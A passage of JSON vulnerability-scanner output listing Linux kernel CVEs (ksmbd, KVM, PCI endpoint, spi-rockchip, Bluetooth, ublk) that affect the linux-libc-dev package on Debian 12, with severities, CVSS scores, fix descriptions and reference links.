"https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2025-37861" ], "PublishedDate": "2025-05-09T07:16:07.073Z", "LastModifiedDate": "2026-10-30T13:17:58.69Z" }, { "VulnerabilityID": "CVE-2025-37952", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37952", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e3f4efff0fe6008ed0b36177aaf90c97b3f6c89e2cadecb4709c4b32cce6698", "Title": "kernel: ksmbd: Fix UAF in __close_file_table_ids", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: Fix UAF in __close_file_table_ids\n\nA use-after-free is possible if one thread destroys the file\nvia __ksmbd_close_fd while another thread holds a reference to\nit. The existing checks on fp-\u003erefcount are not sufficient to\nprevent this.\n\nThe fix takes ft-\u003elock around the section which removes the\nfile from the file table. This prevents two threads acquiring the\nsame file pointer via __close_file_table_ids, as well as the other\nfunctions which retrieve a file from the IDR and which already use\nthis same lock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37952", "https://git.kernel.org/linus/36991c1ccde2d5a521577c448ffe07fcccfe104d%20%286.15-rc6%29", "https://git.kernel.org/stable/c/16727e442568a46d9cca69fe2595896de86e120d", "https://git.kernel.org/stable/c/21100812657965dd95bc305f6076f62012f34cf4", "https://git.kernel.org/stable/c/36991c1ccde2d5a521577c448ffe07fcccfe104d", "https://git.kernel.org/stable/c/9e9841e232b51171ddf3bc4ee517d5d28dc8cad6", "https://git.kernel.org/stable/c/fec1f9e9a650e8e7011330a085c77e7bf2a08ea9", "https://linux.oracle.com/cve/CVE-2025-37952.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025052001-CVE-2025-37952-299d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37952", "https://ubuntu.com/security/notices/USN-7699-1", "https://ubuntu.com/security/notices/USN-7699-2", "https://ubuntu.com/security/notices/USN-7721-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-37952" ], "PublishedDate": "2025-05-20T16:15:33.353Z", "LastModifiedDate": "2026-10-30T13:17:58.86Z" }, { "VulnerabilityID": "CVE-2025-37957", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-37957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa4cc22408ea01c517f70846f0aa5e9c8ff2839b044878bfbf247611dcdf51f7", "Title": "kernel: KVM: SVM: Forcibly leave SMM mode on SHUTDOWN interception", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Forcibly leave SMM mode on SHUTDOWN interception\n\nPreviously, commit ed129ec9057f (\"KVM: x86: forcibly leave nested mode\non vCPU reset\") addressed an issue where a triple fault occurring in\nnested mode could lead to use-after-free scenarios. However, the commit\ndid not handle the analogous situation for System Management Mode (SMM).\n\nThis omission results in triggering a WARN when KVM forces a vCPU INIT\nafter SHUTDOWN interception while the vCPU is in SMM. This situation was\nreprodused using Syzkaller by:\n\n 1) Creating a KVM VM and vCPU\n 2) Sending a KVM_SMI ioctl to explicitly enter SMM\n 3) Executing invalid instructions causing consecutive exceptions and\n eventually a triple fault\n\nThe issue manifests as follows:\n\n WARNING: CPU: 0 PID: 25506 at arch/x86/kvm/x86.c:12112\n kvm_vcpu_reset+0x1d2/0x1530 arch/x86/kvm/x86.c:12112\n Modules linked in:\n CPU: 0 PID: 25506 Comm: syz-executor.0 Not tainted\n 6.1.130-syzkaller-00157-g164fe5dde9b6 #0\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),\n BIOS 1.12.0-1 04/01/2014\n RIP: 0010:kvm_vcpu_reset+0x1d2/0x1530 arch/x86/kvm/x86.c:12112\n Call Trace:\n \u003cTASK\u003e\n shutdown_interception+0x66/0xb0 arch/x86/kvm/svm/svm.c:2136\n svm_invoke_exit_handler+0x110/0x530 arch/x86/kvm/svm/svm.c:3395\n svm_handle_exit+0x424/0x920 arch/x86/kvm/svm/svm.c:3457\n vcpu_enter_guest arch/x86/kvm/x86.c:10959 [inline]\n vcpu_run+0x2c43/0x5a90 arch/x86/kvm/x86.c:11062\n kvm_arch_vcpu_ioctl_run+0x50f/0x1cf0 arch/x86/kvm/x86.c:11283\n kvm_vcpu_ioctl+0x570/0xf00 arch/x86/kvm/../../../virt/kvm/kvm_main.c:4122\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:870 [inline]\n __se_sys_ioctl fs/ioctl.c:856 [inline]\n __x64_sys_ioctl+0x19a/0x210 fs/ioctl.c:856\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nArchitecturally, INIT is blocked when the CPU is in SMM, hence KVM's WARN()\nin kvm_vcpu_reset() to guard against KVM bugs, e.g. to detect improper\nemulation of INIT. SHUTDOWN on SVM is a weird edge case where KVM needs to\ndo _something_ sane with the VMCB, since it's technically undefined, and\nINIT is the least awful choice given KVM's ABI.\n\nSo, double down on stuffing INIT on SHUTDOWN, and force the vCPU out of\nSMM to avoid any weirdness (and the WARN).\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.\n\n[sean: massage changelog, make it clear this isn't architectural behavior]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-37957", "https://git.kernel.org/linus/a2620f8932fa9fdabc3d78ed6efb004ca409019f%20%286.15-rc6%29", "https://git.kernel.org/stable/c/a2620f8932fa9fdabc3d78ed6efb004ca409019f", "https://git.kernel.org/stable/c/d362b21fefcef7eda8f1cd78a5925735d2b3287c", "https://git.kernel.org/stable/c/dc86a9cd181788f6cc4a2dbcd92ea6473dc2923f", "https://git.kernel.org/stable/c/e9b28bc65fd3a56755ba503258024608292b4ab1", "https://git.kernel.org/stable/c/ec24e62a1dd3540ee696314422040180040c1e4a", "https://linux.oracle.com/cve/CVE-2025-37957.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025052003-CVE-2025-37957-e23c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-37957", "https://ubuntu.com/security/notices/USN-7699-1", "https://ubuntu.com/security/notices/USN-7699-2", "https://ubuntu.com/security/notices/USN-7721-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-37957" ], "PublishedDate": "2025-05-20T16:15:33.917Z", "LastModifiedDate": "2026-10-30T13:17:59.193Z" }, { "VulnerabilityID": "CVE-2025-38069", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38069", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41576149cc7ea50c6a8a4159958d222a9f6c23537cd39a99f234eea8e41cc973", "Title": "kernel: PCI: endpoint: pci-epf-test: Fix double free that causes kernel to oops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: endpoint: pci-epf-test: Fix double free that causes kernel to oops\n\nFix a kernel oops found while testing the stm32_pcie Endpoint driver\nwith handling of PERST# deassertion:\n\nDuring EP initialization, pci_epf_test_alloc_space() allocates all BARs,\nwhich are further freed if epc_set_bar() fails (for instance, due to no\nfree inbound window).\n\nHowever, when pci_epc_set_bar() fails, the error path:\n\n pci_epc_set_bar() -\u003e\n pci_epf_free_space()\n\ndoes not clear the previous assignment to epf_test-\u003ereg[bar].\n\nThen, if the host reboots, the PERST# deassertion restarts the BAR\nallocation sequence with the same allocation failure (no free inbound\nwindow), creating a double free situation since epf_test-\u003ereg[bar] was\ndeallocated and is still non-NULL.\n\nThus, make sure that pci_epf_alloc_space() and pci_epf_free_space()\ninvocations are symmetric, and as such, set epf_test-\u003ereg[bar] to NULL\nwhen memory is freed.\n\n[kwilczynski: commit log]", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38069", "https://git.kernel.org/linus/934e9d137d937706004c325fa1474f9e3f1ba10a%20%286.15-rc1%29", "https://git.kernel.org/stable/c/761db4ca3a469f2070757acd4e104dff5125ca99", "https://git.kernel.org/stable/c/8b83893d1f6c6061a7d58169ecdf9d5ee9f306ee", "https://git.kernel.org/stable/c/934e9d137d937706004c325fa1474f9e3f1ba10a", "https://git.kernel.org/stable/c/e2e43854ab72a9d4908ac2bf6087f80aa138a8b5", "https://git.kernel.org/stable/c/fe2329eff5bee461ebcafadb6ca1df0cbf5945fd", "https://linux.oracle.com/cve/CVE-2025-38069.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025061838-CVE-2025-38069-b1a0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38069", "https://ubuntu.com/security/notices/USN-7769-1", "https://ubuntu.com/security/notices/USN-7769-2", "https://ubuntu.com/security/notices/USN-7769-3", "https://ubuntu.com/security/notices/USN-7770-1", "https://ubuntu.com/security/notices/USN-7771-1", "https://ubuntu.com/security/notices/USN-7789-1", "https://ubuntu.com/security/notices/USN-7789-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2025-38069" ], "PublishedDate": "2025-06-18T10:15:40.09Z", "LastModifiedDate": "2026-10-30T13:18:00.617Z" }, { "VulnerabilityID": "CVE-2025-38081", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38081", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2f0ef5ca7a99fb66778a0c80fd12bc50a27289faa43d64c2184b3db7f8bdc816", "Title": "kernel: spi-rockchip: Fix register out of bounds access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi-rockchip: Fix register out of bounds access\n\nDo not write native chip select stuff for GPIO chip selects.\nGPIOs can be numbered much higher than native CS.\nAlso, it makes no sense.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38081", "https://git.kernel.org/linus/7a874e8b54ea21094f7fd2d428b164394c6cb316%20%286.15-rc1%29", "https://git.kernel.org/stable/c/254e04ec799c1ff8c1e2bd08a57c6a849895d6ff", "https://git.kernel.org/stable/c/4a120221661fcecb253448d7b041a52d47f1d91f", "https://git.kernel.org/stable/c/7a27d8dd9354f00e823dfb557b690ea44b4a146f", "https://git.kernel.org/stable/c/7a874e8b54ea21094f7fd2d428b164394c6cb316", "https://git.kernel.org/stable/c/ace57bd1fb49d193edec5f6a1f255f48dd5fca90", "https://linux.oracle.com/cve/CVE-2025-38081.html", "https://linux.oracle.com/errata/ELSA-2025-20530.html", "https://lore.kernel.org/linux-cve-announce/2025061842-CVE-2025-38081-8916@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38081", "https://ubuntu.com/security/notices/USN-7769-1", "https://ubuntu.com/security/notices/USN-7769-2", "https://ubuntu.com/security/notices/USN-7769-3", "https://ubuntu.com/security/notices/USN-7770-1", "https://ubuntu.com/security/notices/USN-7771-1", "https://ubuntu.com/security/notices/USN-7789-1", "https://ubuntu.com/security/notices/USN-7789-2", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38081" ], "PublishedDate": "2025-06-18T10:15:41.767Z", "LastModifiedDate": "2026-10-30T13:18:00.75Z" }, { "VulnerabilityID": "CVE-2025-38117", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:027b7b9a8f89b5eac465db6a338ce2f37c47c46193ae1aa2ad61b7a6624d0ca2", "Title": "kernel: Bluetooth: MGMT: Protect mgmt_pending list with its own lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: Protect mgmt_pending list with its own lock\n\nThis uses a mutex to protect from concurrent access of mgmt_pending\nlist which can cause crashes like:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in hci_sock_get_channel+0x60/0x68 net/bluetooth/hci_sock.c:91\nRead of size 2 at addr ffff0000c48885b2 by task syz.4.334/7318\n\nCPU: 0 UID: 0 PID: 7318 Comm: syz.4.334 Not tainted 6.15.0-rc7-syzkaller-g187899f4124a #0 PREEMPT\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2025\nCall trace:\n show_stack+0x2c/0x3c arch/arm64/kernel/stacktrace.c:466 (C)\n __dump_stack+0x30/0x40 lib/dump_stack.c:94\n dump_stack_lvl+0xd8/0x12c lib/dump_stack.c:120\n print_address_description+0xa8/0x254 mm/kasan/report.c:408\n print_report+0x68/0x84 mm/kasan/report.c:521\n kasan_report+0xb0/0x110 mm/kasan/report.c:634\n __asan_report_load2_noabort+0x20/0x2c mm/kasan/report_generic.c:379\n hci_sock_get_channel+0x60/0x68 net/bluetooth/hci_sock.c:91\n mgmt_pending_find+0x7c/0x140 net/bluetooth/mgmt_util.c:223\n pending_find net/bluetooth/mgmt.c:947 [inline]\n remove_adv_monitor+0x44/0x1a4 net/bluetooth/mgmt.c:5445\n hci_mgmt_cmd+0x780/0xc00 net/bluetooth/hci_sock.c:1712\n hci_sock_sendmsg+0x544/0xbb0 net/bluetooth/hci_sock.c:1832\n sock_sendmsg_nosec net/socket.c:712 [inline]\n __sock_sendmsg net/socket.c:727 [inline]\n sock_write_iter+0x25c/0x378 net/socket.c:1131\n new_sync_write fs/read_write.c:591 [inline]\n vfs_write+0x62c/0x97c fs/read_write.c:684\n ksys_write+0x120/0x210 fs/read_write.c:736\n __do_sys_write fs/read_write.c:747 [inline]\n __se_sys_write fs/read_write.c:744 [inline]\n __arm64_sys_write+0x7c/0x90 fs/read_write.c:744\n __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\n el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\n do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\n el0_svc+0x58/0x17c arch/arm64/kernel/entry-common.c:767\n el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:786\n el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:600\n\nAllocated by task 7037:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x40/0x78 mm/kasan/common.c:68\n kasan_save_alloc_info+0x44/0x54 mm/kasan/generic.c:562\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x9c/0xb4 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __do_kmalloc_node mm/slub.c:4327 [inline]\n __kmalloc_noprof+0x2fc/0x4c8 mm/slub.c:4339\n kmalloc_noprof include/linux/slab.h:909 [inline]\n sk_prot_alloc+0xc4/0x1f0 net/core/sock.c:2198\n sk_alloc+0x44/0x3ac net/core/sock.c:2254\n bt_sock_alloc+0x4c/0x300 net/bluetooth/af_bluetooth.c:148\n hci_sock_create+0xa8/0x194 net/bluetooth/hci_sock.c:2202\n bt_sock_create+0x14c/0x24c net/bluetooth/af_bluetooth.c:132\n __sock_create+0x43c/0x91c net/socket.c:1541\n sock_create net/socket.c:1599 [inline]\n __sys_socket_create net/socket.c:1636 [inline]\n __sys_socket+0xd4/0x1c0 net/socket.c:1683\n __do_sys_socket net/socket.c:1697 [inline]\n __se_sys_socket net/socket.c:1695 [inline]\n __arm64_sys_socket+0x7c/0x94 net/socket.c:1695\n __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n invoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\n el0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\n do_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\n el0_svc+0x58/0x17c arch/arm64/kernel/entry-common.c:767\n el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:786\n el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:600\n\nFreed by task 6607:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x40/0x78 mm/kasan/common.c:68\n kasan_save_free_info+0x58/0x70 mm/kasan/generic.c:576\n poison_slab_object mm/kasan/common.c:247 [inline]\n __kasan_slab_free+0x68/0x88 mm/kasan/common.c:264\n kasan_slab_free include/linux/kasan.h:233 [inline\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38117", "https://git.kernel.org/linus/6fe26f694c824b8a4dbf50c635bee1302e3f099c%20%286.16-rc2%29", "https://git.kernel.org/stable/c/4e83f2dbb2bf677e614109df24426c4dded472d4", "https://git.kernel.org/stable/c/6fe26f694c824b8a4dbf50c635bee1302e3f099c", "https://git.kernel.org/stable/c/7b5958332f20dc66b19be564c402dbc21b927a81", "https://git.kernel.org/stable/c/bdd56875c6926d8009914f427df71797693e90d4", "https://git.kernel.org/stable/c/d7882db79135c829a922daf3571f33ea1e056ae3", "https://linux.oracle.com/cve/CVE-2025-38117.html", "https://linux.oracle.com/errata/ELSA-2025-20551.html", "https://lore.kernel.org/linux-cve-announce/2025070326-CVE-2025-38117-3424@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38117", "https://ubuntu.com/security/notices/USN-7769-1", "https://ubuntu.com/security/notices/USN-7769-2", "https://ubuntu.com/security/notices/USN-7769-3", "https://ubuntu.com/security/notices/USN-7770-1", "https://ubuntu.com/security/notices/USN-7771-1", "https://ubuntu.com/security/notices/USN-7789-1", "https://ubuntu.com/security/notices/USN-7789-2", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38117" ], "PublishedDate": "2025-07-03T09:15:25.617Z", "LastModifiedDate": "2026-10-15T22:18:28.177Z" }, { "VulnerabilityID": "CVE-2025-38182", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38182", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb4ee9cc57bbb7745b548badbeb3896edbd63587a1b25054f1bf0438b099e730", "Title": "kernel: ublk: santizize the arguments from userspace when adding a device", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nublk: santizize the arguments from userspace when adding a device\n\nSanity check the values for queue depth and number of queues\nwe get from userspace when adding a device.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38182", "https://git.kernel.org/linus/8c8472855884355caf3d8e0c50adf825f83454b2%20%286.16-rc3%29", "https://git.kernel.org/stable/c/0f8df5d6f25ac17c52a8bc6418e60a3e63130550", "https://git.kernel.org/stable/c/3162d8235c8c4d585525cee8a59d1c180940a968", "https://git.kernel.org/stable/c/8c8472855884355caf3d8e0c50adf825f83454b2", "https://git.kernel.org/stable/c/a52d4e28f643eb4ffc7ccb1de9bd47d876804f1f", "https://git.kernel.org/stable/c/e2b2b7cf6368580114851cb3932f2ad9fbf23386", "https://lore.kernel.org/linux-cve-announce/2025070411-CVE-2025-38182-fd0c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38182", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38182" ], "PublishedDate": "2025-07-04T14:15:24.99Z", "LastModifiedDate": "2026-10-30T13:18:01.333Z" }, { "VulnerabilityID": "CVE-2025-38201", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38201", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7bed26a061b4a3bd7cfe69053440d52fedc97cff66c506a1ccf4e26874d46d6d", "Title": 